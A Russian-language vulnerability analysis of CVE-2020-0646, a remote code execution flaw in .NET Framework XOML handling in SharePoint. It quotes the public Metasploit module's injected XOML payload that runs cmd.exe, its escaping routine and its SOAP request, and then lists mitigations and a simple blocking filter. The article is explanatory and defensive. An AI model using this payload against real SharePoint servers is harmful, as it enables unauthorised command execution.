Уязвимость программной платформы Microsoft .NET Framework
Уязвимость программной платформы Microsoft .NET Framework
Категория: Программы Теги: Уязвимости Опубликовано: 22 мая 2025

Уязвимость BDU:2020-00229 (CVE-2020-0646) Microsoft .NET Framework

Уязвимость BDU:2020-00229 (CVE-2020-0646) в Microsoft .NET Framework, связана с недостаточной проверкой входных данных при обработке XOML-файлов в SharePoint Workflows. Злоумышленник может внедрить произвольный код через специально сформированные XOML-данные, что приводит к удаленному выполнению команд (RCE) на сервере. Уязвимость затрагивает версии .NET Framework от 3.0 до 4.8, а также SharePoint, использующий эти компоненты.

Анализ уязвимости

Уровень опасности: Base Score: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки) – Атака через сеть (удаленно, без физического доступа).

  • AC:L (Сложность эксплуатации) – Низкая сложность: не требуется сложных условий для эксплуатации.

  • PR:N (Уровень привилегий) – Не требуется привилегий: атакующий действует без авторизации.

  • UI:N (Взаимодействие с пользователем) – Не требуется действий пользователя.

  • S:U (Влияние на другие системы) – Не оказывает влияния на другие компоненты.

  • C:H (Конфиденциальность) – Полное раскрытие конфиденциальной информации.

  • I:H (Целостность) – Полная компрометация целостности данных.

  • A:H (Доступность) – Полное нарушение доступности системы.

Условия эксплуатации

Для успешной атаки необходимо:

  1. Наличие уязвимой версии .NET Framework (3.0–4.8) и SharePoint.

  2. Доступ к SharePoint через интернет или внутреннюю сеть.

  3. Наличие валидных учетных данных (логин/пароль) для аутентификации в SharePoint (см. параметры USERNAME и PASSWORD в эксплойте).

  4. Возможность отправки SOAP-запросов к endpoint /_vti_bin/webpartpages.asmx.

Пример уязвимого ПО:

  • SharePoint Server 2010–2019, если используются указанные версии .NET Framework.

  • Приложения, использующие .NET Framework для обработки XOML-файлов.


Анализ кода эксплойта

Рассмотрим общедоступный модуль Metasploit для понимания вектора атаки. Эксплойт использует инъекцию в XOML-шаблоны Workflow, подменяя параметры MethodName и InterfaceType в элементе CallExternalMethodActivity.

Генерация вредоносного XOML

Код формирует SOAP-запрос с XOML-данными, содержащими инъекцию в CDATA-секцию:

<CallExternalMethodActivity x:Name="foo"  
  MethodName='test1'  
  InterfaceType='System.String);}  
  Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c #{escape_command(cmd)}");  
  private/**/void/**/foobar(){//' />  

Здесь:

  • /**/ используется для обхода проверок на пробелы.

  • System.Diagnostics.Process.Start запускает процесс cmd.exe с произвольной командой.

Функция escape_command

Метод экранирует запрещенные символы в Unicode-формате:

def escape_command(cmd)  
  cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] }  
end  

Пример преобразования: символ & становится \u0026, что обходит XML-валидацию.

Отправка запроса

Эксплойт отправляет POST-запрос к webpartpages.asmx с аутентификацией:

res = send_request_cgi({  
  'method'   => 'POST',  
  'uri'      => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'),  
  'ctype'    => 'text/xml; charset=utf-8',  
  'data'     => xoml_data,  
  'username' => datastore['USERNAME'],  
  'password' => datastore['PASSWORD']  
})  

Защита от уязвимости

  1. Обновление ПО:

    • Установить патчи Microsoft.

    • Обновить .NET Framework до актуальных версий.

  2. Ограничение доступа к SharePoint:

    • Запретить доступ к / _vti_bin/ из внешних сетей.

    • Использовать брандмауэры и сегментацию сети.

  3. Усиление аутентификации:

    • Включить MFA для учетных записей SharePoint.

    • Минимизировать число привилегированных пользователей.

  4. Валидация входных данных:

    • Реализовать фильтрацию XOML-файлов, запретив использование /**/ и System.Diagnostics.Process.

    // Пример фильтрации в .NET  
    if (xoml.Contains("Process.Start"))  
        throw new InvalidOperationException("Blocked malicious activity.");  
Алексей Черемных Алексей Черемных
96